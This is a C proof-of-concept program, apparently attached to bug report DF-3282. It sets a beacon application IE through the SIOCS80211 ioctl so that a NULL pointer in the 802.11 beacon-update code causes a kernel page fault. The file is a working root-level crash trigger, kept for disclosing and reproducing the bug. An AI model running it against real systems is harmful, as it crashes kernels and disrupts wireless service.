DF-3282 / setappie.c
/* * setappie.c -- DF-3282 PoC trigger. * * Sets an application IE on a *running* hostap/ibss vap whose beacon * was constructed without any app IE (ieee80211_beacon_alloc ran * before this call). Next ieee80211_beacon_update() does * bo->bo_appie += adjust on a NULL bo->bo_appie and memcpy()s the IE * to kernel address 0x0+ie_len => fatal page fault. * * Privilege: root (SIOCS80211 needs SYSCAP_NONET_WIFI) -- same * privilege as hostapd/wpa_supplicant plumbing WPS beacon IEs. * * build: cc -O -o setappie setappie.c * run: ./setappie wlan0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <err.h> #include <netproto/802_11/ieee80211_ioctl.h> int main(int argc, char *argv[]) { struct ieee80211req ireq; unsigned char ie[64]; int s; const char *ifname = argc > 1 ? argv[1] : "wlan0"; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); /* a vendor IE: id 0xdd, len 62, payload */ memset(ie, 0x5a, sizeof(ie)); ie[0] = IEEE80211_ELEMID_VENDOR; ie[1] = sizeof(ie) - 2; memset(&ireq, 0, sizeof(ireq)); strlcpy(ireq.i_name, ifname, IFNAMSIZ); ireq.i_type = IEEE80211_IOC_APPIE; ireq.i_val = IEEE80211_FC0_SUBTYPE_BEACON; ireq.i_len = sizeof(ie); ireq.i_data = ie; printf("setting %u-byte beacon app IE on %s...\n", ireq.i_len, ifname); if (ioctl(s, SIOCS80211, &ireq) < 0) /* arg is the ieee80211req */ err(1, "SIOCS80211 APPIE"); printf("OK -- app IE installed; next TBTT beacon update should fault\n"); return 0; } |